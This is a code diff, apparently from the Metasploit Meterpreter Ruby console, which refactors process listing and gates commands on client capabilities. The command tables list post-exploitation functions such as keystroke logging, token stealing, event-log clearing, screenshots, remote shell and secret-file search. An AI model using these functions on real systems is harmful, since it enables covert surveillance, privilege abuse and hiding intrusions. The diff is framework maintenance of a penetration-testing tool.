# 'ppid', 'name', 'path', 'user', 'session' and 'arch'.
|
||||
#
|
||||
def Process.get_processes
|
||||
request = Packet.create_request('stdapi_sys_process_get_processes')
|
||||
processes = []
|
||||
processes = ProcessList.new
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
|
@ -236,7 +236,7 @@ class Process < Rex::Post::Process
|
|||
processes <<
|
||||
{
|
||||
'pid' => p.get_tlv_value(TLV_TYPE_PID),
|
||||
'parentid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
|
||||
'ppid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
|
||||
'name' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_NAME) ),
|
||||
'path' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_PATH) ),
|
||||
'session' => p.get_tlv_value(TLV_TYPE_PROCESS_SESSION),
|
||||
|
@ -366,5 +366,43 @@ protected
|
|||
|
||||
end
|
||||
|
||||
#
|
||||
# Simple wrapper class for storing processes
|
||||
#
|
||||
class ProcessList < Array
|
||||
|
||||
#
|
||||
# Create a Rex::Ui::Text::Table out of the processes stored in this list
|
||||
#
|
||||
# +opts+ is passed on to Rex::Ui::Text::Table.new, mostly unmolested
|
||||
#
|
||||
# Note that this output is affected by Rex::Post::Meterpreter::Client#unicode_filter_encode
|
||||
#
|
||||
def to_table(opts={})
|
||||
if empty?
|
||||
return Rex::Ui::Text::Table.new(opts)
|
||||
end
|
||||
|
||||
cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
|
||||
# Arch and Session are specific to native Windows, PHP and Java can't do
|
||||
# ppid. Cut columns from the list if they aren't there. It is conceivable
|
||||
# that processes might have different columns, but for now assume that the
|
||||
# first one is representative.
|
||||
cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
|
||||
|
||||
opts = {
|
||||
"Header" => "Process List",
|
||||
"Columns" => cols
|
||||
}.merge(opts)
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(opts)
|
||||
each { |process|
|
||||
tbl << cols.map {|c| process[c.downcase] }.compact
|
||||
}
|
||||
|
||||
tbl
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
||||
|
|
|
@ -43,11 +43,9 @@ class Console::CommandDispatcher::Core
|
|||
"close" => "Closes a channel",
|
||||
"channel" => "Displays information about active channels",
|
||||
"exit" => "Terminate the meterpreter session",
|
||||
"detach" => "Detach the meterpreter session (for http/https)",
|
||||
"help" => "Help menu",
|
||||
"interact" => "Interacts with a channel",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"migrate" => "Migrate the server to another process",
|
||||
"use" => "Deprecated alias for 'load'",
|
||||
"load" => "Load one or more meterpreter extensions",
|
||||
"quit" => "Terminate the meterpreter session",
|
||||
|
@ -61,6 +59,18 @@ class Console::CommandDispatcher::Core
|
|||
"enable_unicode_encoding" => "Enables encoding of unicode strings",
|
||||
"disable_unicode_encoding" => "Disables encoding of unicode strings"
|
||||
}
|
||||
|
||||
if client.passive_service
|
||||
c["detach"] = "Detach the meterpreter session (for http/https)"
|
||||
end
|
||||
# The only meterp that implements this right now is native Windows and for
|
||||
# whatever reason it is not adding core_migrate to its list of commands.
|
||||
# Use a dumb platform til it gets sorted.
|
||||
#if client.commands.include? "core_migrate"
|
||||
if client.platform =~ /win/
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
end
|
||||
|
||||
if (msf_loaded?)
|
||||
c["info"] = "Displays information about a Post module"
|
||||
end
|
||||
|
|
|
@ -132,7 +132,7 @@ class Console::CommandDispatcher::Sniffer
|
|||
bytes_all = res[:bytes] || 0
|
||||
bytes_got = 0
|
||||
bytes_pct = 0
|
||||
|
||||
linktype = res[:linktype]
|
||||
while (bytes_all > 0)
|
||||
res = client.sniffer.capture_dump_read(intf,1024*512)
|
||||
|
||||
|
@ -156,7 +156,7 @@ class Console::CommandDispatcher::Sniffer
|
|||
fd = ::File.new(path_cap, 'ab+')
|
||||
else
|
||||
fd = ::File.new(path_cap, 'wb+')
|
||||
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
|
||||
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, linktype].pack('NnnNNNN'))
|
||||
end
|
||||
|
||||
pkts = {}
|
||||
|
|
|
@ -34,24 +34,56 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
all = {
|
||||
"cat" => "Read the contents of a file to the screen",
|
||||
"cd" => "Change directory",
|
||||
"del" => "Delete the specified file",
|
||||
"download" => "Download a file or directory",
|
||||
"edit" => "Edit a file",
|
||||
"getlwd" => "Print local working directory",
|
||||
"getwd" => "Print working directory",
|
||||
"lcd" => "Change local working directory",
|
||||
"lpwd" => "Print local working directory",
|
||||
"ls" => "List files",
|
||||
"mkdir" => "Make directory",
|
||||
"pwd" => "Print working directory",
|
||||
"rmdir" => "Remove directory",
|
||||
"upload" => "Upload a file or directory",
|
||||
"lcd" => "Change local working directory",
|
||||
"getlwd" => "Print local working directory",
|
||||
"lpwd" => "Print local working directory",
|
||||
"rm" => "Delete the specified file",
|
||||
"del" => "Delete the specified file",
|
||||
"search" => "Search for files"
|
||||
"rmdir" => "Remove directory",
|
||||
"search" => "Search for files",
|
||||
"upload" => "Upload a file or directory",
|
||||
}
|
||||
|
||||
reqs = {
|
||||
"cat" => [ ],
|
||||
"cd" => [ "stdapi_fs_chdir" ],
|
||||
"del" => [ "stdapi_fs_rm" ],
|
||||
"download" => [ ],
|
||||
"edit" => [ ],
|
||||
"getlwd" => [ ],
|
||||
"getwd" => [ "stdapi_fs_getwd" ],
|
||||
"lcd" => [ ],
|
||||
"lpwd" => [ ],
|
||||
"ls" => [ "stdapi_fs_stat", "stdapi_fs_ls" ],
|
||||
"mkdir" => [ "stdapi_fs_mkdir" ],
|
||||
"pwd" => [ "stdapi_fs_getwd" ],
|
||||
"rmdir" => [ "stdapi_fs_delete_dir" ],
|
||||
"rm" => [ "stdapi_fs_delete_file" ],
|
||||
"search" => [ "stdapi_fs_search" ],
|
||||
"upload" => [ ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -65,18 +97,18 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
# Search for files.
|
||||
#
|
||||
def cmd_search( *args )
|
||||
|
||||
|
||||
root = nil
|
||||
glob = nil
|
||||
recurse = true
|
||||
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner." ],
|
||||
"-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ],
|
||||
"-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ],
|
||||
"-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ]
|
||||
)
|
||||
|
||||
|
||||
opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when "-h"
|
||||
|
@ -92,14 +124,14 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
recurse = false if( val =~ /^(f|n|0)/i )
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
if( not glob )
|
||||
print_error( "You must specify a valid file glob to search for, e.g. >search -f *.doc" )
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
files = client.fs.file.search( root, glob, recurse )
|
||||
|
||||
|
||||
if( not files.empty? )
|
||||
print_line( "Found #{files.length} result#{ files.length > 1 ? 's' : '' }..." )
|
||||
files.each do | file |
|
||||
|
@ -112,9 +144,9 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
else
|
||||
print_line( "No files matching your search were found." )
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Reads the contents of a file and prints them to the screen.
|
||||
#
|
||||
|
@ -169,7 +201,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Delete the specified file.
|
||||
#
|
||||
|
@ -183,7 +215,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
alias :cmd_del :cmd_rm
|
||||
|
||||
def cmd_download_help
|
||||
|
@ -192,7 +224,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
print_line "Downloads remote files and directories to the local machine."
|
||||
print_line @@download_opts.usage
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Downloads a file or directory from the remote machine to the local
|
||||
# machine.
|
||||
|
@ -250,7 +282,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
}
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
@ -454,7 +486,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
}
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
|
|
@ -54,12 +54,39 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
all = {
|
||||
"ipconfig" => "Display interfaces",
|
||||
"ifconfig" => "Display interfaces",
|
||||
"route" => "View and modify the routing table",
|
||||
"portfwd" => "Forward a local port to a remote service",
|
||||
}
|
||||
reqs = {
|
||||
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
"ifconfig" => [ "stdapi_net_config_get_interfaces" ],
|
||||
"route" => [
|
||||
# Also uses these, but we don't want to be unable to list them
|
||||
# just because we can't alter them.
|
||||
#"stdapi_net_config_add_route",
|
||||
#"stdapi_net_config_remove_route",
|
||||
"stdapi_net_config_get_routes"
|
||||
],
|
||||
# Only creates tcp channels, which is something whose availability
|
||||
# we can't check directly at the moment.
|
||||
"portfwd" => [ ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -48,23 +48,67 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"clearev" => "Clear the event log",
|
||||
"execute" => "Execute a command",
|
||||
"getpid" => "Get the current process identifier",
|
||||
"getuid" => "Get the user that the server is running as",
|
||||
"getprivs" => "Attempt to enable all privileges available to the current process",
|
||||
"kill" => "Terminate a process",
|
||||
"ps" => "List running processes",
|
||||
"reboot" => "Reboots the remote computer",
|
||||
"reg" => "Modify and interact with the remote registry",
|
||||
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
||||
"sysinfo" => "Gets information about the remote system, such as OS",
|
||||
"shell" => "Drop into a system command shell",
|
||||
"shutdown" => "Shuts down the remote computer",
|
||||
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
||||
all = {
|
||||
"clearev" => "Clear the event log",
|
||||
"drop_token" => "Relinquishes any active impersonation token.",
|
||||
"execute" => "Execute a command",
|
||||
"getpid" => "Get the current process identifier",
|
||||
"getprivs" => "Attempt to enable all privileges available to the current process",
|
||||
"getuid" => "Get the user that the server is running as",
|
||||
"kill" => "Terminate a process",
|
||||
"ps" => "List running processes",
|
||||
"reboot" => "Reboots the remote computer",
|
||||
"reg" => "Modify and interact with the remote registry",
|
||||
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
||||
"shell" => "Drop into a system command shell",
|
||||
"shutdown" => "Shuts down the remote computer",
|
||||
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
||||
"sysinfo" => "Gets information about the remote system, such as OS",
|
||||
}
|
||||
reqs = {
|
||||
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
|
||||
"drop_token" => [ "stdapi_sys_config_drop_token" ],
|
||||
"execute" => [ "stdapi_sys_process_execute" ],
|
||||
"getpid" => [ "stdapi_sys_process_getpid" ],
|
||||
"getprivs" => [ "stdapi_sys_config_getprivs" ],
|
||||
"getuid" => [ "stdapi_sys_config_getuid" ],
|
||||
"kill" => [ "stdapi_sys_process_kill" ],
|
||||
"ps" => [ "stdapi_sys_process_get_processes" ],
|
||||
"reboot" => [ "stdapi_sys_power_exitwindows" ],
|
||||
"reg" => [
|
||||
"stdapi_registry_load_key",
|
||||
"stdapi_registry_unload_key",
|
||||
"stdapi_registry_open_key",
|
||||
"stdapi_registry_open_remote_key",
|
||||
"stdapi_registry_create_key",
|
||||
"stdapi_registry_delete_key",
|
||||
"stdapi_registry_close_key",
|
||||
"stdapi_registry_enum_key",
|
||||
"stdapi_registry_set_value",
|
||||
"stdapi_registry_query_value",
|
||||
"stdapi_registry_delete_value",
|
||||
"stdapi_registry_query_class",
|
||||
"stdapi_registry_enum_value",
|
||||
],
|
||||
"rev2self" => [ "stdapi_sys_config_rev2self" ],
|
||||
"shell" => [ "stdapi_sys_process_execute" ],
|
||||
"shutdown" => [ "stdapi_sys_power_exitwindows" ],
|
||||
"steal_token" => [ "stdapi_sys_config_steal_token" ],
|
||||
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -229,38 +273,13 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
#
|
||||
def cmd_ps(*args)
|
||||
processes = client.sys.process.get_processes
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Process list",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"PID",
|
||||
"Name",
|
||||
"Arch",
|
||||
"Session",
|
||||
"User",
|
||||
"Path"
|
||||
])
|
||||
|
||||
processes.each { |ent|
|
||||
|
||||
session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s
|
||||
arch = ent['arch']
|
||||
|
||||
# for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64'
|
||||
if( arch == ARCH_X86_64 )
|
||||
arch = "x64"
|
||||
end
|
||||
|
||||
tbl << [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ]
|
||||
}
|
||||
|
||||
if (processes.length == 0)
|
||||
print_line("No running processes were found.")
|
||||
else
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
print_line
|
||||
print_line(processes.to_table("Indent" => 1).to_s)
|
||||
print_line
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
|
|
@ -20,20 +20,50 @@ class Console::CommandDispatcher::Stdapi::Ui
|
|||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"idletime" => "Returns the number of seconds the remote user has been idle",
|
||||
"uictl" => "Control some of the user interface components",
|
||||
all = {
|
||||
"enumdesktops" => "List all accessible desktops and window stations",
|
||||
"getdesktop" => "Get the current meterpreter desktop",
|
||||
"setdesktop" => "Change the meterpreters current desktop",
|
||||
"idletime" => "Returns the number of seconds the remote user has been idle",
|
||||
"keyscan_dump" => "Dump the keystroke buffer",
|
||||
"keyscan_start" => "Start capturing keystrokes",
|
||||
"keyscan_stop" => "Stop capturing keystrokes",
|
||||
"keyscan_dump" => "Dump the keystroke buffer",
|
||||
"screenshot" => "Grab a screenshot of the interactive desktop",
|
||||
"setdesktop" => "Change the meterpreters current desktop",
|
||||
"uictl" => "Control some of the user interface components",
|
||||
|
||||
# not working yet
|
||||
# "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
|
||||
}
|
||||
|
||||
reqs = {
|
||||
"enumdesktops" => [ "stdapi_ui_desktop_enum" ],
|
||||
"getdesktop" => [ "stdapi_ui_desktop_get" ],
|
||||
"idletime" => [ "stdapi_ui_get_idle_time" ],
|
||||
"keyscan_dump" => [ "stdapi_ui_get_keys" ],
|
||||
"keyscan_start" => [ "stdapi_ui_start_keyscan" ],
|
||||
"keyscan_stop" => [ "stdapi_ui_stop_keyscan" ],
|
||||
"screenshot" => [ "stdapi_ui_desktop_screenshot" ],
|
||||
"setdesktop" => [ "stdapi_ui_desktop_set" ],
|
||||
"uictl" => [
|
||||
"stdapi_ui_enable_mouse",
|
||||
"stdapi_ui_disable_mouse",
|
||||
"stdapi_ui_enable_keyboard",
|
||||
"stdapi_ui_disable_keyboard",
|
||||
],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
del = false
|
||||
reqs[cmd].each do |req|
|
||||
next if client.commands.include? req
|
||||
del = true
|
||||
break
|
||||
end
|
||||
|
||||
del
|
||||
end
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
#
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue